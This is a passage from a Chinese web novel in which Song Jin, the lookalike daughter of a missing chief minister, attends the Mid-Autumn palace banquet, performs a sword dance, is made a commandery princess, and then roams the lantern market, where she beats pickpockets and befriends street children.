他警告道:“晚宴马上开始了,表嫂是想毁了中秋宴吗?一会儿父皇过来了” 杨彦珺冷笑:“皇上来了更好,我还要求皇上为我做主,替我查查这都城近日关于我的流言是哪些丧尽天良的人传的” 她这油盐不进的模样,看得晋王又恼又急 这事情管他是个怎么回事,闹来闹去的,最后还不是连累他?本来近来父皇就看他不顺眼 晋王压下烦躁,劝:“你们是夫妻,是不是有什么误会?再说,夫妻之间床头吵架床尾和,你们回去好好解释,是吧,表哥?有什么好好说,你快哄哄人” 常文山一脸的巴掌印和指甲印,又疼又晕,没好气:“我哄什么?疯婆子,杨彦珺你发什么疯,你看看都城哪儿有你这样的女人,我真是倒了八辈子霉才娶了你这样的” 杨彦珺情绪本来就激动,再听这么一说,气得手中簪子狠狠一戳 “啊” “呀” 一阵惊呼声传来 宋锦哇了一下,再转头看向程思懿,挠了挠头:“还不劝吗?” 不得不说,都城贵女玩的也不小啊 和她想的一点儿不一样 程思懿没有回答,她提起裙摆直接跑了过去:“珺珺,珺珺,你冷静点……” 现场乱糟糟的 但其实没多大点事,那簪子戳进去也就半个指节的长度,疼两天就没事了,可能还不比脸上来得疼。不过这些人身份都不简单,又是在这边,宋锦小声 “她不会有事吧?” “能有什么事?夫妻打架嘛,皇上不会在意的”宋清之啧了一声,低声,“她娘以前救过先皇后,皇上对她一向容忍,更别说她在常家死了三个孩子,只要不砍了胳膊腿,都是家务事” 宋锦也小声:“就是齐铮他娘?” 宋清之嘘了一声:“尽量别提” 说话间,杨彦珺被程思懿拉开,常文山虽然出血,但也不严重,没什么大事 不过都这样了,两个人也没法参与晚宴了,晋王抓紧机会喊人把他们送走了,看那个表就是气得不清 宋锦她们也看够了热闹,开始往回走路,走着,她撞了撞宋清之,挑眉:“你还挺记仇的啊” 他才是这场闹剧的导火索 宋清之辩解:“我不是记仇,只是记性好。再说了,我也没想到她这么猛,啧,还好当初退婚了,不然老大就完了” 宋锦嘴角一抽:“他要是好东西能玩?” 宋清之为宋行之说话:“其实也还好,老大是风流些,但是他不骗人啊,他对姑娘都还好,出手大方温柔体贴……” 宋锦没说话,只是挑着眉看着他 宋清之说不下去了,他深深叹气:“老大啊,这不能怪我,实在是你太不中用了” 因为前朝之事,本朝主流克己克欲,大部分人家在外不说,家里妻妾加起来有四五个已经算多了,大多数人也就是除了妻子之外还有一两个妾,一心一意的也不在少数 至于其他的,丫鬟数量也有专门的规定,不能有钱便随便买。各种青楼坊院牙行也是管理严格,严禁逼良为娼,也禁官员狎妓 所以总的来说,宋行之确实非常风流了 宋清之只得叹气:“定婚那会儿他后院还算清静,他好不好的不说,这事事先都说好了,她点了头了,后面又闹成这样,总不能还要感激她吧?再说了,我这不是好心嘛,不然真等孩子上了族谱,可就麻烦了” 宋锦翻了个大大的白眼,拉着牛铁兰继续往回走 相比之前,现在外边人更多了,因为有些距离,许多人并不知道那边的事,三三五五聚在一起聊着天,光是看衣服便能看出家庭条件 不过三十年河东三十年河西,再过十年,这些人定然又不同了 宋锦抬头,周边挂满的灯火在微风下轻轻摇晃,每个桌子边放着精致的灯笼,一会儿可以点亮,结束后由各家带回,不过回去后分给谁应该又是一番争吵了 像这些世家小姐,衣食这些由家里置办,真正到手的月钱,大部分也就一二两,不算私底下家长的补贴,便是国公世家也不会超过十两,都得算着算着 真要一掷千金的,要么就像宋家这般产业多人口少还擅长经营,要么就是很能贪——不过后者危险性太大了,贪了也不敢大张旗鼓花 宋锦听着宋清之介绍这些,听着听着,她转头好奇:“那我呢?我没月钱?” 虽然没有也正常,但是按照宋清之的出手来看,应该不至于 宋清之下意识看了看牛铁兰,小心道:“呃,有的,上次让管家拿给夫人了,小妹你一个月是一百两,夫人二百两,因为刚来,一人还有置办东西的五千两,如果不够,找杨管家取用就行” 宋锦本来是单纯好奇,有没有都无事,听到这,她惊大了眼睛:“娘啊,吃独食不好吧” 对此,牛铁兰没有半点心虚,淡淡道:“父母在不分家,不分家钱就要上交,我帮你管着也免得你乱花” 花花花,真当自己是宋家人了? 牛铁兰已经懒得多说了,直接做就是 宋锦控诉:“那五千不说了,一百两是月钱吧?” 牛铁兰轻瞥,悠悠:“你手头” 宋锦果断闭嘴,岔开月钱的事,迈着小步子,拉着牛铁兰就往湖边走去 不能为了小钱扔了大钱啊,私房钱还是得自己拿着 …… 现在天色黑了,其他的人也陆陆续续走了过来,左右没一会儿周围都坐满了人 之前被晋王喊走的宋顺之和宋安之也坐了回来 五个人坐成一排,宋顺之最左,牛铁兰最右,宋锦坐在她的旁边,旁边是话最多的宋清之,他低声给她们介绍 “我们左边是户部尚书一家,右边是礼部尚书,杨彦珺的父亲继母,她娘也去世多年…… “对面的,齐家家主齐国公,陛下小叔,然后是荣国公、文国公、昌安侯、忠勇侯、宣平侯……” 两边基本就是公候世家和寒门新贵,两边阵营刚建国那会儿矛盾很大,现在二十年过去,虽然偶有摩擦,但是也比起以往融洽不少。 对此,宋商这个公敌出力不少 而现在,宋商一个多月还没找回来,基本上能确定死讯,这个长得像他的宋锦就吸引了所有人的目光 那些老谋深算的老狐狸眼神隐晦,但是年轻人就明显许多了,一个个都当她跟猴子似的打量 宋锦坐感受着四面八方看过来的目光,她眉头一挑,直接大大方方地挨个看过去,她长相和宋商像了个七成,就连张扬,也随了个六成 差的那四成,是宋商的强势嚣张深藏于心,让人轻易察觉不出,而她,就差把快来打我四个字写在脸上了 “像,真的太像了,我原先只听着还不信” “一看就是个刺头,乡野长大的” “静看谁先出手吧” …… 在那各种飞舞的眼神和低语下,火红的夕阳全部落下,黑暗渐渐袭来,又被皎洁月光击散,宛如薄纱月色撒在花园,染白了天地 随着轻柔的筝声响起,一个个侍女提着烛灯,点亮一盏盏花灯,以正中间的湖亭为中心,像花束又像阵图,整个花园宛如白昼 就在众人欣赏着美景之时,一声惊呼传来 只见那潭湖水内有什么一点点亮了起来,从萤火一般,逐渐宛如月光,星星点点穿梭在湖水之中,绕着亭子形成一道星河,然后一点点扩散,最后点亮整个水潭,就像是天上落下的圆月,如梦如幻,让人挪不开眼 也就是此时,悠长的声音从另一边传来 “皇上驾到——” 所有人迅速 起身,再纷纷半跪,垂着脑袋 “吾皇万岁万万岁——” 宋锦半抬着脑袋,透过一个个人看过去,骤然发现御花园里不知道什么时候布满了萤火虫,萤火闪烁下,穿着龙袍的齐烨在一中侍卫太监围绕下踏步而来 他的身后 齐铮低垂着眸,同样金色的衣服上流光溢彩,明暗交织,胸前五爪的龙印格外显眼 在场的官员们心下一沉 第58章 给他们挖的坑 太和十七年 前朝荒帝第一次南下,与江南第一家族余家接触,见识了百年大族的极尽奢华,自此,开始他奢淫无度的日子 大兴土木、强招劳役、提高赋税、无尽征兵、放纵贪吏…… 一年年下去,他终究还是耗尽了持续六百六十年的国运 在太和三十五年,由岭南梁氏揭了起义第一杆,随后中原范氏、江南余家、西境大将争相起义,自立为王,开启了持续三年的征战 若说一开始还是对荒帝忍无可忍,可怜百姓遭遇,到了后面到底还是为了权,只有他们自己知道 不到一年,百姓的日子越发艰苦,要面对无止尽的层层压迫和抢掠,还要面对各种劫匪,朝不保夕…… 在这种情况下,一部分人死守土地,一部分人带领剩下的家人上山为匪,一部分人逃往最为平静,也是在当时最为荒芜的北境 北境苦寒,冬日能冻死人,但是,拥有大片无主的土地和野物 一个人去是死,一百人是赌,一千人是新的生活,一万人是,新的势力 就在永安三十六年,大批贫苦百姓来到了北方 那一年,年仅十六岁的宋商找上了齐烨,在那之前,他们甚至只有一面一缘,而在那之后,宋商说服齐烨联通齐家接手了那数不尽的难民,召集领地人手,带领难民以野物鱼水为食,提供工具和指导,祝他们砍伐树木,开垦土地,重建家园 一年时间,齐家地域人数不断扩张 随后,带领难民一路向北的宋商再次劝说齐烨参战,他们带兵南下,直达永安城,取了荒帝的头颅,接下来两年,灭杀引起岭南蛊祸的梁氏,又劝服其他势力…… 整整三年时间,天下平复 齐烨也在那年登基,那时,齐烨已经三十岁,膝下无子,在所有齐家人觉得他只能选齐家子作为接班人的时候,齐铮悄然来临 于是意外发生,刚出生的皇子丢失,在兵荒马乱地找人中,齐烨被梁家余孽暗害,身重绝嗣蛊,断了子嗣的希望,再没两年,原皇后也就是齐铮的亲娘‘抑郁’而终 他开始了他无声的报复 齐家上一辈人一个接一个死去,齐家小辈一个个如他们所愿进宫,在互相残杀中去世,齐家,也交到了和他当年有相似经历的齐小叔手头 可再多的报复,也无法带回他的妻儿——他原先是这样以为的 好在天无绝人之路,他的孩儿没有死,还长成了多少人超出期待的模样 正义、强大、聪颖、俊美 虽然文化差了点,有时候轴了点,难沟通了点,脑回路清奇了一点…… 但是完全就是他的好儿子 齐烨对他非常满意,也为其准备了一份盛大的礼物,静待掀开的那一日。 齐烨站在皇权中心,看着周围的公侯世家朝臣,看着他们月光下惊疑明灭的神色,他笑了 他手握大权的二十年间,他勤勤恳恳,励精图治,绞尽脑汁各方挪钱,又是开源又是节流,各种妥协忍耐,就为了这残破的国家能恢复,百姓能存活下去 一年年下来,现在百姓日子丰裕,国内人口达到了鼎盛之数,就连疆域也扩大三成。他手持百万大军,身环千余精卫,这些人为什么还以为什么都会随着他们的心意走呢? 他就这么一个亲儿子,他们为什么会以为皇位会落到那些蠢猪头上呢? 如果说寻回来的齐铮只是个普通人,或许齐烨还不会如此明显,他会忍耐忍耐,等到时机合适。 但是,现在完全不需要 说难听点的,他这个当爹的被刺杀了他这儿子都不会有事,别以为他不知道这破孩子天天在琢磨什么 好好一个皇子,不想着占领皇城,成天只想着逃,那怎么成? 齐烨便先给他送上这个小礼物,他带着人站在亭子中心,哈哈大笑了起来 “中秋赏月,誉为团团圆圆,朕这么多年,没有哪一年比现在更团圆了。那年,朕的阿铮被奸人所掳,一去二十年,现在终于回来了,今日便由他来替朕合这珠月……” 他的声音不大不小,能听到的也就周围一圈的人,再往后一些,有专门的汇报太监替他转达 宋锦坐在位置上,看着前方亭台中心仿若发光的人,怔了怔,侧过头:“合珠玉是什么?” 宋清之低声:“就是把这些觅皎鱼捞起来,用月光晒一晚,又在日出之前将其埋在生长的泥中,日日晒月,一年左右,干泥发光,便成了明珠” 宋锦惊:“这么神奇?那家里那些?” 宋清之嘴角一抽:“……你若好奇,等下个月圆夜可以一试” 就是不知道那么胖的鱼还能不能成功了 除了她们,其他人也在低声议论,没人当场起来反驳,毕竟,这事也合情合理,捞鱼并没有什么特殊的,特殊的,是齐烨的态度 齐烨很满意他们的识相 旁边的孙公公早有准备,他端着木盘站在一边,上面是一个通体金黄的小鱼网 齐铮站在一旁,在一众目光的打量之下,他绷直了身子,神色越发肃穆,凛冽又严肃,一身气势非比寻常。他就站在齐烨的旁边,父子俩一个高大一个更高大,无人能质疑他们不是亲的 齐铮看着那鱼网,目光带着些不解 他以前也没听过这捞珠月的事,这底下也养了贝壳? 齐烨哈哈大笑,拍拍他的肩膀,道:“去捞十条觅皎鱼上来” 齐铮目光微动,看看外面环绕的银鱼,点点头,拿起鱼网,轻轻一捞,一条条宛如月光灯小鱼便被捞了起来,又放到了装满河泥的木盒子里 一共十条,并不是所有的都会成功,但是只要有一颗能成便够已 捞鱼结束,中秋晚宴便正式开始了 准备多时的乐师舞女们开始她们的表演,她们一个个体态修长,柔韧有力,穿着精美的舞服,在月光下翩翩起舞,宛若惊鸿,美得不可方物 场地很大,并不是一队舞完一对来,而是多种不同的舞乐同时表演,或轻柔或激荡,交织在一起,看得人眼睛都不舍得闭 等到专业人员表演结束之后,还有宾客展出时间,主场就交给了在场的年轻贵女少爷们 单独的个人表演肯定是够不上人家专业乐师舞队,所以她们多是成群结队,和自己的好友们合作一起,并且请了专门的班子帮着编排 宋锦没想到还会有这个环节,她一边磕着瓜子看着上面的小孩队摇头晃脑唱诗歌童谣,有些稀奇:“宋老五,你们以前也这样过?” 宋清之叹气:“如果爹没出事的话,我们也会上去” 他们这些少爷小姐的多少都有些才艺在身,又都是些年轻人,怎么可能会没有攀比的心?斗诗、斗舞、斗嘴…… 反正能比个第一就要比,更别说 “第一名有千两银子,第二名五百两,第三名一百两” 对于那些个成婚掌家的人来说可能不 算什么,但是对于单身靠月钱过日子的人来说,这钱真不少了,还能在皇上朝臣面前,留个印象,也有助于嫁娶 “前年就有六品官员之女因为一曲歌喉惊艳,嫁入了侯爵之家,也有因为容貌表演出众的小户之子娶了将军之女的”宋清之小声说道,“杨彦珺和宣平侯就是诗会上认识,这种情况不在少数,不过最后也多成怨偶” 若是父母介绍,男女感情没那么深厚,便是男人有个变心什么,也没那么伤人。若两人本是两情相悦,最后背叛变心,那才叫一个肝肠寸断。 不过也因此,都城年轻人和离也挺多的 宋锦一边听着他说这都城年轻人的八卦,一边看着表演,一边吃着果干水果,那叫一个津津有味,直到之前见过的程思懿上场 她看着那一排大小锣鼓,有些意外,这人一身清冷诗书气,看着一点都不像打鼓的人,她问:“你不是说她是教史书的吗?” 宋清之:“也略通诗赋、音律、数法、天文、土木,在工部、礼部也有兼职” 宋锦悻悻放下手中的果干,对其肃然起敬,并且敬而远之 文化人,惹不起惹不起 却没想到,程思懿站上去之后只是停顿片刻,冲着移到另一边的齐烨行礼:“禀皇上,臣之前是和珺珺一起准备的节目,她现在不在,光是鼓声多少有些单薄,想现场重选一人相助” 齐烨之前已经听到些风声了,淡定笑道:“你想选谁?” 程思懿沉思片刻,道:“臣听说,今日回都的宋首辅之女宋锦武艺高强,挥得一手好剑,不知她可否愿意上前一助” 正吃瓜吃得开心的宋锦一个呛住,一脑袋珠钗哐哐作响:“我?” 齐烨也有些意外,转过头看向吃得腮帮子都有些鼓的宋锦,好笑道:“你这丫头,宴上东西好吃吗?” 宋锦点脑袋:“回陛下,比民女以往吃过的所有都好吃” 齐烨笑:“好吃一会儿带些回去就是了,现在别吃了,听到程学正的话了吗?会舞剑吗?” 宋锦有些纠结:“就是和打架差不多吧?应、该?” 齐烨挑眉:“行,那你上去吧,早就听说你这丫头能说会打,也让我开开眼” 宋锦拍了拍手:“不过我没剑” 程思懿:“这有,不过是真剑,得注意些” 宋锦扭了扭脖子,脑袋上的珠钗叮当,她也没注意 牛铁兰蹙起眉头,刚想喊她把身上发饰拆了,宋清之拉住了她,低声:“无事夫人,掉了就掉了,不碍事” 牛铁兰顿了一下 宋锦已经踩上了湖面,在一众惊呼声中到了那边台子,站在程思懿旁边,伸出手:“剑呢?我先试试手” 程思懿也没想到她还会‘飞’,顿了一下,从一边拿出长剑,剑身比一般的要重一些,是杨彦珺特意打造,练习了很久了,就为了能看起来有力一些 宋锦接过来随意地转了一圈,适应了一下手感,然后算了一下左右步数,一剑削掉有些拖地的裙摆,踢了踢脚,确定不会有问题了,拿起长剑旋了个利落的刀花,眉眼轻扬 “开始吧” 程思懿点了点头,和旁边的人交流一番,她们这勉强算是现场凑成的班子表演开始 “噔,噔噔噔” 鼓声一道道响起,伴着二胡、唢呐、古筝等一系列乐声,激荡的旋律响彻整个御花园,比起鼓乐,更像是战音 宋锦挑了挑眉,踩着鼓点,随意地甩着长剑 让她日复一日苦练剑法是不可能的,但是那些看似厉害的花里胡哨小招式她没少练,就是为了哪日装一装。现在正是好时候,月光下的她一身金红,裙摆金钗随着她的动作叮叮作响,宛如游动的焰火,那剑光凛冽,似寒霜一般闪着白光 随着鼓声一点点加快,她的动作也不断加快,和激荡的鼓声融为一体,寒肃的杀意一点点弥漫开来,遮住她的身形,让人根本看不清她的动作 直到鼓声乍停 程思懿收起鼓锤,宋锦也停下长剑狠狠刺在地上 砰砰几声,锣鼓相继爆开,在一阵爆炸声中,稀稀疏疏的掌声传来,迟疑地定住,最后还是一点点加大,如雷一般爆开 齐烨轻轻拍手,声音带着些喟叹:“不愧是宋商的女儿啊,好一身出众的武艺,担得起救城之义” 齐铮静静坐在一边,看着宋锦脸上过于灿烂的笑,低低道:“确实得从头练” 这都是些什么花里胡哨的东西,一眼看去全是破绽 齐烨没听清楚,转头:“你说什么?” 齐铮顿了顿:“确实出众” 齐烨笑了笑,拍拍他的肩膀,站了起来,拍着手喝道:“好,好一个飒爽英姿的女儿郎,见到你这番武艺,朕也知你为何能单枪匹马,毁掉梁家的阴谋,救泗安城于水火之中,这等大功,该赏” 总算是来了,宋锦眼睛发亮,扔下手中的剑,又踏着湖面跑了回来,兴奋:“我还以为皇上您忘了这事呢” 齐烨挑眉:“怎么,怕我赖账?” 宋锦嬉笑:“哪儿能啊,您作为一国之主,日日忙碌国家大事,我这点小事儿自然得放在后面” 齐烨好笑:“这时候倒是谦虚上了,你破掉反贼梁家炸城阴谋,又率先找到梁家营地,夺回大批他们这些年藏匿的粮食财产。我也要问问在场的爱卿们,这个功,诸位觉得应该如何赏赐?” 各位大臣谨慎起来 户部尚书起身:“臣以为,救城之事重大,具体事宜有待探究。梁家阴险,孰知这是否为他们的阴谋?再说便是真事,救城之功,当地知县县城巡抚定有出力,若因为宋首辅之故,将其归结于宋锦身上,对其他人未免有些不公” 御史大夫也起身:“臣附议,陛下万不可因宋首辅失了偏颇,让其他朝臣凉了心” 说着,一个个官员跟着起身附议,试图压下宋锦的事 倒是对面的公爵世家们没有说话,他们虽然和宋商也不对付,但都没什么重要官职,荣宠皆看齐烨这个皇帝的意思,比起正经官员们顾忌要多一些,也更会看眼色,打算等等再开口,免得会错了意 齐铮看着在场站起来的官员们,不仅没有生气,反而笑了起来 “诸位爱卿说得对,此事事关重大,朕也拖了这么久才得到全部过程。此番事情,宋锦一人救城在前,虽有功,但有限,后续前后事宜皆由宋侍郎处理,不仅破掉梁家在青郡府接近二十年的布局,抓住了与之勾结的官员,更是抓住梁家重要反贼,他才是此次最大功臣” “宋首辅虽然还不知所踪,但是可喜可贺,宋家子女皆继承了他的谋略才干,宋家后继有人啊” 朝臣们:…… 这话听着就不对 户部尚书眼皮一跳,立刻改口:“确实可喜可贺,但臣以为,就事论事,便是兄妹也该各有各的功,不可融为一体。若不是宋锦在前,能有宋侍郎在后?宋首辅这些年为国为民竭尽心力,现在出事了生死不明,宋锦作为遗孤,皇上该酌情考量” 该死,这事一开始就是给他们挖的坑 宋行之年不过二十六已经是侍郎了,若再升,是不是就该取代他们了?还是接班宋商? 相比之下,宋锦这个奸臣之女再是奖赏也就些金银珠宝上不了朝堂 一群官员很快反应过来,纷纷认可宋锦的功劳,一个个看起来慈眉善目、真心实意地夸着 “不愧是首辅之女,有其父的风姿” “巾帼须眉,自愧不如” “定要让家里孩子和她学学” …… 这脸变的,这话说的,宋锦忍不住打了个寒颤 思索他们说的人是谁 齐烨也有些感慨 这世间,好官虽难得,宋商唯有一个 他叹了叹气,眉眼淡了下来,侧头看了一眼,早有准备的孙公公又拿着圣旨走了过来,清了清嗓子 “奉天承运,皇帝诏曰:今有一女宋锦,救泗安县城于水火,抓叛贼,助百姓,有勇有谋,不畏艰难,端庄正义,贤慎温良,特赐郡主之位,封号明光,年俸千两,青郡府封地百亩,山脉一座……” 宋锦瞪大双眼 来这么大啊 第59章 那个傻大姐 圆月悬挂,永安城一片明亮 那矗立在最北边的高大皇城,烛灯悬挂,灯火通明,宛如高悬的明月一般,遥不可及 此时,一辆辆马车排着长队从城门中走出来,沿着那上百米的宽阔成道往外,朝着各自的府中走去。 今日是中秋,城内没有宵禁,外面的街道上行人不少,卖着汤团、汤饼的小贩一声声吆喝、推着纸扇花灯的商贩不断、就连算命的道士也上起了夜班…… 这还只是永安城随处街道上的一角,那专门的繁华地有多热闹,更是可想而知 随着马车停下,宋锦迅速撩开了车帘,看着前方那一片通明嘈杂的街区,侧过脑袋再三确认:“娘你真的不去吗?看着就很热闹” 牛铁兰靠着车,半合着眼,眼皮都懒得抬 她身体本就不比寻常人好,这两日又日日练着礼仪,再去宫里那么一折腾,现在只想回 去睡觉 她的声音带着些喑哑:“你自己去玩,别惹事,玩够了早点回来,脑袋上的东西给我拆了” 外面人来人往,专门的小偷从小练起,手一抬一落,几百两就没了,不值当 宋锦哦了一下,老老实实地把脑袋上的珠钗拆了,坐在那里就这么看着她老娘,目光赤裸裸亮盈盈 牛铁兰抬起眼,带着困倦:“干什么?” 宋锦嘿嘿一下,眨了眨眼睛,小心翼翼的:“我就这样去?我现在不都是郡主了嘛,郡主应该” 比如说给点钱啊,她没钱用啦 牛铁兰眼皮子一跳,拎起一旁的水杯扔过去,没好气:“郡主怎么了郡主就了不起了,别说郡主就是公主,该给老娘跪了也给我跪着,一边玩去,别在这咋呼” 宋锦接着茶杯放下,哦了一声,转头眯起凤眸,凶意满满地威胁着:“你们给我把我娘看好了,哼,今时不同往日,我现在是郡主了,敢乱来三个小心你们的脑袋” 说着,她雄赳赳气昂昂地跳下马车,没一会儿就不见了身影,不知道蹿到哪个角落去了 若是最开始的时候,兄弟三只会担心他的安危,现在他们只是在心里默默地为其他人哀悼 希望那些人有点眼神,别惹了这个小霸王 等她一走,睡眼惺忪的牛铁兰却是睁开了眼睛,她坐直了身子,看着这三个年轻英俊各有风采的年轻人,声音轻轻 “你们三个,应该知道她和宋首辅并没有血缘关系,只是长得像吧?” 良久 宋顺之看着车马外繁华的街道,低声:“血缘,其实没那么重要” 宋安之伸手绕着发丝,脸上带着酒后的红意,声音懒散:“入了宋家门就是宋家人,这一点错不了” 宋清之转着巴掌大的金算盘,笑眯眯:“宋家家大业大,就这么一个小妹,养得起,夫人不用担心” 牛铁兰靠在车上,看着他们三个真心实意的模样,闭上眼睛:“随你们” 那破孩子,当乡下丫头的时候都天不怕地不怕,现在给她这么个名头 喜欢找罪受就自己受着吧 …… 随着马车启程,宋锦从一边的树上跳了下来,手上拿着一个红彤彤的柿子,这柿子挂在枝头,像个小灯笼,让她一眼就看到了 在月光下,她的眼睛就跟猫眼睛似的亮着,一口柿子下去 “呸呸呸” 什么破柿子啊,涩得很 宋锦一言难尽地扔下柿子,拿着手绢擦着舌头,摇摇摆摆朝着那边的街道走去 这里是西区商业街,素日就是永安城最为热闹的街区,现在中秋时节更是,大半夜了,一走过来左右都是人 一整条街全都是买卖各种小东西的,什么灯笼、花灯、竹编、木雕、纸鸢…… 价格都不算太贵,便宜的几文钱,贵的也不过几百文 左右街道上不时有唱戏卖艺的,也有端着碗乞讨的,各种戏腔二胡杂耍不断 刚得了好几百亩封地和每年一千两俸禄的宋锦出手‘大方’,看谁顺眼就往人碗里丢个几文十文,没一会儿身上挂着的几贯钱就没了,取而代之的是身上满满当当的小玩意儿 宋锦一路上摇摇晃晃,空着脑袋脖子进来,走到一半的时候,脑袋上已经挂满了各种木簪陶簪,脖子上也是各种编织首饰,左手一个金虎木灯笼,右手一串各色小花灯,嘴里还嚼着两个小汤团 但凡牛铁兰跟着一起来,她都不能这般 她就这么大摇大摆地走着,打算先去河边把一大串的花灯给放了,走着走着,前面就多了个人,她嚼着驴打滚,低着头看着面前的小女孩,用手比了比 大约就到她的,大腿? 小女孩看着就四五岁的样子,头发梳得整整齐齐,扎着红绳,挂着木簪,衣服料子洗得发白,手上拎着个木篮子,就这么仰着脑袋看着她,一双眼睛大大,还有些熟悉 宋锦嚼嚼:“干嘛?” 不等人回答,她伸手取下几个铜板看扔到小女孩手边的木篮子里,绕过人继续晃晃悠悠 没走两步,小崽子又追了过来 宋锦挑着眉,放下两个铜板,又继续走着,没两步人又来了,她停下来,啧了一声,把人拎了起来,呲牙威胁道:“老实点,做人不要太贪心,一边玩去,该回家就回家,少在外面乱窜” 小女娃拎在半空,磕磕巴巴:“我,我,我不是叫花子” 宋锦嘴角一抽,把人放了下来,看着小女娃人认认真真地把那些钱抓起来递过来,没有收钱,而是苦大仇深地看着她:“那你跟着我干嘛” 小女娃萌萌地歪着脑袋,伸出短短的小手指往后面,奶声奶气:“卖,卖小人咯” 不得不说,她一个小崽子这么喊着,还挺奇怪的 宋锦顺着看过去,注意到自己身后三米的位置,几个十岁左右的小男孩站在那里,穿得破破烂烂,衣服还有点小脏,但是看起来精神机灵,手上拿着木篮子还有布包 她拎着那踮着脚伸手还钱的小女娃走过去,挑着眉头,抓了个草蟋蟀打量,这编织得还挺好的,她问:“你们自己弄的?” 年纪最大的10岁小男孩点头:“我们自己编的,姑娘来一个吧,除了蟋蟀还有鸟、蝴蝶这些,小个的两文钱,大个的五文,木人儿费刀,三文钱……” 木雕小人儿、木簪子、草编小蟋蟀、香囊、手绢…… 这小崽子凑成了一个小货郎,还挺像模像样的 几个孩子看起来不大,但是手艺还挺扎实,一个个小玩意儿弄得很精细,神态也生动,宋锦没做多想,随意地翻了翻,挑出几个顺眼的草编鸟和蟋蟀,又找了两个木老虎,想了想,又翻了几块手绢出来——这玩意儿对他来说基本就是一次性的,多买点也无所谓 最后越翻越多,她干脆从明显领头的小男孩手里拿过那个木篮子,把身上的小东西往里面塞,满意地从兜里掏了一两银子递过去 “行了,不用找了” 说着,不等几个小崽子开口,她哼着歌儿拎着木篮子,跨着步子就迅速走远 几个卖东西的小孩愣了愣,面面相觑 小女娃手上还抓着铜板,歪着脑袋看着他们,奶声奶气:“哥哥?” 领头的男孩皱起脸,抓过铜板正要走上去,又很快便变了脸,抱起小女孩往边上退去,其他三个孩子也跟着后退,五个人躲在那边的摊子旁边,看着前面穿梭的人,有些忧虑 “福哥,怎么办?” 带头的福哥咬着牙,低声:“施老大他们看到我们了,不能再出去” 一人:“那,那个傻大姐” 福哥烦躁:“大晚上一个人出来还这般招摇,算了,你们几个在这边待着,我小心点过去看看,你们别被逮到了,不行就往巡卫那边跑” 他把小女孩交了出去,几个人立马点了点头,有些紧张 福哥抬起头,看着前方人群里眼熟的人,他们看起来普普通通,毫不起眼,放在人群里都没人注意,但是四处游荡的扒手,平日不干什么好事,上次甚至还害了人…… 他咬了咬牙 那傻大姐,一路什么东西都买,拿钱也不藏着掖着,腰间挂着两串钱,包囊里还有银子,兜里的银票也不藏好了 她粗心大意傻乎乎好骗也就算了,还长得如此出色,大晚上一个人出门,真以为灯会人多就安全啊,每年出事的可不少 福哥想到上次看到的,他咬着牙,还是小心钻过人群,想过去再提醒一下,没想到就这么一低头抬头的功夫 随着几声惨叫传来 他再一抬头,那几个人纷纷倒在地上 而那‘傻大姐’宋锦脚踩在领头的施老大脑袋上,拿着个果子咔咔啃着,周围人又惊又惧还忍不住好奇,很快就把这边围住 不到半刻钟,负责巡守的人赶了过来 “偷东西的,你们带走吧,对了,这个人”在巡守侍卫迟疑的神色中,宋锦一脚重重抬起,咔擦一声断了他的手,在他的惨叫声中,从腰间掏出一块黑色令牌扔给守卫 “多审审吧,有什么问题去宋府找我,我叫宋锦” 都城姓宋的人很多 ,有名有姓的也不少,但是单独只说一个宋,所有人想到的必然只有一家 宋首辅的宋家 再加上这皇室牌子,也只能是这家了 据说当初岐王就是宋首辅找回来的,而宋首辅的女儿又是跟着岐王一路回来,现在看来,两边关系确实不一般啊 几个侍卫面面相觑,看着那黑色令牌,上面黑龙缠绕,细密的纹路下一个金色岐字格外闪眼,他们恭敬地还了过去 “宋姑娘放心,我们必定好好审问” 宋锦接过令牌,想了想,从兜里拿出两个果子递了过去,在他们困惑的目光下,笑道:“刚从宫里带出来的,你们也尝尝,守一晚上辛苦了” 在这边多年,宋锦虽然张扬又不咋讲理,但是人情世故还是懂的,在泗安县的时候和每个巡守都打了熟脸,像这些看似不起眼的底层官吏,很多时候能发挥大作用 而且他们确实也辛苦,经常一巡就是一夜 宋锦冲他们挥挥手,又继续走入人流,朝着放花灯的花河走去 福哥早在巡守来的时候就跑了回去,几个人躲在一边,眼睛瞪得大大的,再看着宋锦的大摇大摆的背影,犹豫之下,悄悄跟了上去 他们几个体型小,对这边又很熟悉,就这样躲躲藏藏跟在了一路,一直到越走越偏,越走越偏,又是一个转弯,小巷里静悄悄的空无一人,头顶的枝头墙瓦上传来夜鹰的呼嚎声 福哥停下步子,叫了一声不好,抱起妹妹就要跑路,一个转身 宋锦坐在墙头上笑眯眯地看着他们,那脚就差踩在他们脑袋上了 福哥步子一顿,掉了个身继续跑,几个人小步子快,没一会儿就跑过街头转角消失不见 宋锦不慌不忙地坐在墙头,晃着腿,没过一会儿,几个小孩又慌慌张张地跑了回来,她起身落地 福哥抱着小女孩,磕磕巴巴:“我,我,我们,我们就是好奇” 宋锦挑眉:“好奇什么?好奇我拐不拐孩子?你们几个胆子倒是大啊,怎么,都城没有拐孩子的?” 福哥一本正经:“我们太小了,干不了活,拐了不划算” 主要还是风险太大了,卖个城里人,没有正规凭证谁敢买?出城又太麻烦了,不如直接去外面拐,他们只要不出城还是安全的 在城里一般挨打受欺负更多 宋锦没好气地伸手敲了敲他的脑袋:“不划算?我看划算得很,又会做东西又会卖东西,大晚上不回家跟着我干什么?” 福哥抱紧自己妹妹,谨慎:“有,我们这就回去,姑娘再见” 宋锦直接把他怀里的小女孩拎了起来,笑眯眯:“走什么?跟了一路了,有事就说” 福哥迟疑了一下,还是点头:“我,我们就是没事干” 宋锦啧了一声,把手里的花灯串子往小女孩脖子上一挂,单手抱着人朝前走去 福哥和其他小娃娃立马急了:“你干什么?快把宁宁还给我们” 宋锦悠悠:“不着急,是吧?” 嘴里含着糖块的宁宁点着脑袋,奶声奶气:“呐” 福哥几个:…… 偷崽啊,这才是偷崽的 但看着宋锦那个样,他们三个也没办法,只能憋屈又担忧地跟了上去,等到再次走到转角的位置,他们又有些害怕地停下步子 宋锦嘴角不由勾了起来,却也不管他们,大步走过 转角处,齐铮站在墙边看着天边圆月,他身形高大,神情冷冽,一身气势压人,旁边还跟着个带刀的李青山,在白天都挺吓人的,更别说大晚上了 宋锦压下嘴角的弧度,阴阳怪气:“哟,岐王殿下大晚上不回府里休息,在外面晒月亮呢” 齐铮沉默良久,嗯了一声 宋锦翻了个白眼:“那您继续晒月亮,臣女先走一步” 她抱着小女孩继续走着,福哥几个小崽子犹豫再犹豫,低着脑袋匆匆跟上 齐铮站在原地,收回看着圆月的眼,缓缓跟了上去 